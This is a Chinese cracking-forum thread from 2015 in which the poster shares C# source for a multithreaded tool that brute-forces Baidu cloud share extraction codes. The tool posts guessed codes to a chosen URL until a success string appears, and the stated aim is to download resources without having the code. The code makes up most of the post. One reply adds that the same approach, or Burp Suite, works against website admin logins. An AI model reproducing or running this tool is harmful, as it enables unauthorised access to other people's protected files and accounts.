吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 91759|回复: 128
收起左侧

[其他转载] 暴力破解百度云盘提取码

    [复制链接]
q578500693 发表于 2015-5-19 18:58
想下载本论坛的一些资源可是木有提取码怎么办呢
然后就有了然后
[Asm] 纯文本查看 复制代码
using LenovoCW.Library;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Text;
using System.Linq;
using System.Threading;
using System.Net.Http;
using System.Windows.Forms;

namespace blpj
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            System.Windows.Forms.Control.CheckForIllegalCrossThreadCalls = false;
            InitializeComponent();
        }
        private bool isok = false;
        private string resvalue = "";
        private Dictionary<Thread, EachEveryStr> telist = new Dictionary<Thread, EachEveryStr>();
        private void button1_Click(object sender, EventArgs e)
        {
            if (button1.Text == "破解")
            {
                var type = GetECharType();
                if (type == default(ECharType) || t_url.TextLength < 6 || t_url.TextLength < 6 || t_ok.TextLength < 1 || t_thr_num.TextLength < 1 || t_pwd_maxlength.TextLength < 1 || t_pwd_minlength.TextLength < 1)
                {
                    MessageBox.Show("请填写完整所需的数据!","温馨提示",MessageBoxButtons.OK,MessageBoxIcon.Asterisk);
                    return;
                }
                button1.Text = "停止";
                isok = false;
                telist.Clear();
                var eeslist = EachEveryStr.CreateList(Convert.ToInt32(t_thr_num.Text), Convert.ToInt32(t_pwd_minlength.Text), Convert.ToInt32(t_pwd_maxlength.Text), type);
                foreach (var item in eeslist)
                {
                    var t = new Thread(new ParameterizedThreadStart(Response));
                    t.Start(item);
                    telist.Add(t, item);
                }
                var updinfo = new Thread(new ThreadStart(UpdInfo));
                updinfo.Start();
                button2_Click(null, null);
            }
            else
            {
                button1.Text = "破解";
                isok = true;
            }
        }
        public void Response(object ps)
        {
            var ees = ps as EachEveryStr;
            var okvalue = t_ok.Text;
            var url = t_url.Text;
            var client = new HttpClient();

            var values = new List<KeyValuePair<string, string>>();
            var pwd = "pwd";
            if (t_ps.TextLength > 0)
            {
                var parameter = t_ps.Text.Split('&');
                foreach (var item in parameter)
                {
                    if(!string.IsNullOrEmpty(item))
                    {
                        if (item.Contains("@pwd"))
                        {
                            pwd = item.Split('=')[0];
                        }
                        else 
                        {
                            values.Add(new KeyValuePair<string, string>(item.Split('=')[0], item.Split('=')[1]));
                        }
                    }
                }
            }
            while (!ees.IsValueMax && !isok)
            {
                try
                {
                    var kvp=new KeyValuePair<string, string>(pwd, ees.GetNextValue());
                    values.Add(kvp);
                    var response = client.PostAsync(url, new FormUrlEncodedContent(values)).Result.Content.ReadAsStringAsync().Result;
                    values.Remove(kvp);
                    if (resvalue == "")
                    {
                        resvalue = response;
                    }
                    if (!string.IsNullOrEmpty(response) && response.Contains(okvalue))
                    {
                        isok = true;
                        this.t_pwd.Text = ees.Value;
                        button1.Text = "破解";
                        break;
                    }
                }
                catch (Exception e)
                {
                    this.t_error.AppendText(ees.Value+"->"+e.ToString());
                }
            }
            client.Dispose();
        }

        public ECharType GetECharType()
        {
            ECharType type = default(ECharType);
            if (c_lowerchar.Checked)
            {
                type = type | ECharType.LowerChar;
            }
            if (c_number.Checked)
            {
                type = type | ECharType.Number;
            }
            if (c_specialchar.Checked)
            {
                type = type | ECharType.SpecialChar;
            }
            if (c_upperchar.Checked)
            {
                type = type | ECharType.UpperChar;
            }
            return type;
        }

        public void UpdInfo()
        {
            var begin_time = DateTime.Now;
            while (!isok)
            {
                var okcount = telist.Sum(d => d.Value.GetValueCount);
                var groupcount = telist.Sum(d => d.Value.GroupCount);
                StringBuilder sb = new StringBuilder();
                sb.AppendLine("开始时间:" + begin_time.ToString());
                sb.AppendLine("总组合数:" + groupcount);
                sb.AppendLine("完成数:" + okcount);
                sb.AppendLine("完成比例:" + (okcount * 100.0 / groupcount).ToString("0.00") + "%");
                sb.AppendLine("每秒完成数:" + (okcount / (DateTime.Now - begin_time).TotalSeconds).ToString("0.00"));
                sb.AppendLine("预计还需要:" + ((groupcount - okcount) / (okcount / (DateTime.Now - begin_time).TotalMinutes)).ToString("0.00") + "分钟");
                sb.AppendLine("已经用时:" + (DateTime.Now - begin_time).TotalMinutes.ToString("0.00") + "分钟");
                sb.AppendLine("状态:运行中");
                t_info.Text = sb.ToString();
                t_res.Text = resvalue;
                resvalue = "";
                if (okcount >= groupcount)
                {
                    break;
                }
                Thread.Sleep(1000);
            }
            if (t_pwd.TextLength > 0)
            {
                t_info.Text=t_info.Text.Replace("状态:运行中", "状态:破解成功");
            }
            else
            {
                t_info.Text=t_info.Text.Replace("状态:运行中", "状态:已停止");
            }
            button1.Text = "破解";
        } 

        private void Form1_FormClosed(object sender, FormClosedEventArgs e)
        {
            System.Environment.Exit(0);
        }

        private void button2_Click(object sender, EventArgs e)
        {
            StringBuilder sb = new StringBuilder();
            long minindex = long.MaxValue;
            long maxindex = long.MinValue;
            t_thr_info.Text = string.Empty;
            foreach (var item in telist)
            {
                if (item.Value.GetValueCount > maxindex)
                {
                    maxindex = item.Value.GetValueCount;
                }
                if (item.Value.GetValueCount < minindex)
                {
                    minindex = item.Value.GetValueCount;
                }
                sb.AppendLine(string.Format("线程ID:{0},任务:{1}-{2},总数{5},当前值:{3},已完成:{4}\n",
                   item.Key.ManagedThreadId,
                   item.Value.InitValue,
                   item.Value.MaxValue,
                   item.Value.Value,
                   item.Value.GetValueCount,
                   item.Value.GroupCount
                   ));
            }

            sb.Insert(0, "最快线程已经完成:" + maxindex + "\r\n最慢线程已经完成:" + minindex + "\r\n");
            t_thr_info.Text=sb.ToString();
        }

    }
}

点评

burp suite爆破就行了 也可以爆破网站后台哦(验证码另有方法)  发表于 2015-5-19 20:02

免费评分

参与人数 12吾爱币 +4 热心值 +12 收起 理由
swb8023 + 1 + 1 用心讨论,共获提升!
137xs + 1 + 1 受教
wbyzzz + 1 + 1 用心讨论,共获提升!
上善若水丶 + 1 + 1 用心讨论,共获提升!
玖卿 + 1 用心讨论,共获提升!
HIKKI + 1 我很赞同!
happynewyear + 1 我很赞同!
DavidDeng + 1 谢谢@Thanks!
dhs347 + 1 谢谢@Thanks!
切碎的青椒 + 1 代码比较优美规范!马克&amp;amp;赞一个!
这只猪 + 1 还行吧,用burp suite爆破就行了
不装逼我会死 + 1 再搞个打码的就行了

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

雨季丶 发表于 2016-3-13 22:19
我看见了火星文
88888888888 发表于 2016-11-13 16:15
头像被屏蔽
崽崽呦 发表于 2015-5-19 20:12
逍遥枷锁 发表于 2015-5-19 19:01
直接编译下啊,也好来测试下。
wushuaichengvip 发表于 2015-5-19 19:03
学习一下  看不懂
倾听回忆 发表于 2015-5-19 19:07
真心看不懂啊
拓海真一 发表于 2015-5-19 19:07
来个项目源代码如何?
头像被屏蔽
暴爆 发表于 2015-5-19 19:08
提示: 作者被禁止或删除 内容自动屏蔽
pjianjian 发表于 2015-5-19 19:08
这是什么鬼楼主
邪恶博士 发表于 2015-5-19 19:09
试过几次就会出验证码的吧
阿di达思 发表于 2015-5-19 19:11
真心不懂。。。
lonely_coder 发表于 2015-5-19 19:17
能不能直接上个成品啊
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-27 02:31

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表